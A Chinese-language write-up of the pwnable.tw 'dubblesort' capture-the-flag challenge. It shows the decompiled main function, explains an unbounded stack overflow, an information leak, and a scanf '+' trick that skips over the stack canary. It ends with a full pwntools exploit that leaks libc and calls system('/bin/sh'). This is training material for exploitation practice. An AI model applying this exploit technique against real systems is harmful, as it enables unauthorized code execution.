pwnable.tw dubble sort题解

0x00 前言

一道基础的栈溢出,开启了pie和canary

0x01 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int *v4; // edi
unsigned int v5; // esi
int v6; // ecx
unsigned int v7; // esi
int v8; // ST08_4
int result; // eax
int v10; // edx
unsigned int v11; // et1
unsigned int v12; // [esp+18h] [ebp-74h]
int v13; // [esp+1Ch] [ebp-70h]
char buf; // [esp+3Ch] [ebp-50h]
unsigned int v15; // [esp+7Ch] [ebp-10h]

v15 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, (int)"What your name :");
read(0, &buf, 0x40u);
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v12);
v3 = v12;
if ( v12 )
{
v4 = &v13;
v5 = 0;
do
{
__printf_chk(1, (int)"Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
++v5;
v3 = v12;
++v4;
}
while ( v12 > v5 );
}
sort((unsigned int *)&v13, v3);
puts("Result :");
if ( v12 )
{
v7 = 0;
do
{
v8 = *(&v13 + v7);
__printf_chk(1, (int)"%u ");
++v7;
}
while ( v12 > v7 );
}
result = 0;
v11 = __readgsdword(0x14u);
v10 = v11 ^ v15;
if ( v11 != v15 )
sub_BA0(v6, v10);
return result;
}
  • 它要排序的数字的数量没有限制,因此可以造成栈溢出。
  • __printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :");可以泄露出栈上的内容

我原来是想用%s来泄露canary的,但是这样就没法泄露libc了,那么怎么绕过canary呢?这里就要用到scanf的一个小技巧。

如果直接输入非法字符的话,由于程序没有对输入流进行清空,所以之后的scanf也都会是非法字符,也就是意味着后面的输入全部无效,但是输入+或者-时是被当成一次有效输入,由于我们仅仅输入+或者-并不能直接获得一个有效数值,所以本次scanf也作为无效看待,这样就能保证stack guard不会被修改,当进行下一次scanf的时候,识别到输入流不完整也会继续I/o中断等待输入。

0x02 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
sh = process('./dubblesort')
#sh = remote('chall.pwnable.tw',10101)
gdb.attach(sh)
def write_data(data):
sh.recvuntil('number :')
sh.sendline(data)

payload = ''
payload += 28*'a'
sh.recvuntil('name :')
sh.send(payload)
sh.recvuntil(payload)
libc_base = u32(sh.recv(4)) - 0x1ae244
log.success('libc_base: ' + hex(libc_base))
libc = ELF('./libc_32.so.6')

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
log.success('system_addr: ' + hex(system_addr))
log.success('binsh_addr: ' + hex(binsh_addr))

sh.recvuntil('sort :')
num = 35
sh.sendline(str(num))
for i in range(24):
write_data('0')

write_data('+')
for i in range(9):
write_data(str(system_addr))
write_data(str(binsh_addr))
sh.interactive()

0x03 参考

pwnable.tw dubblesort writeup

-------------本文结束感谢您的阅读-------------
+ +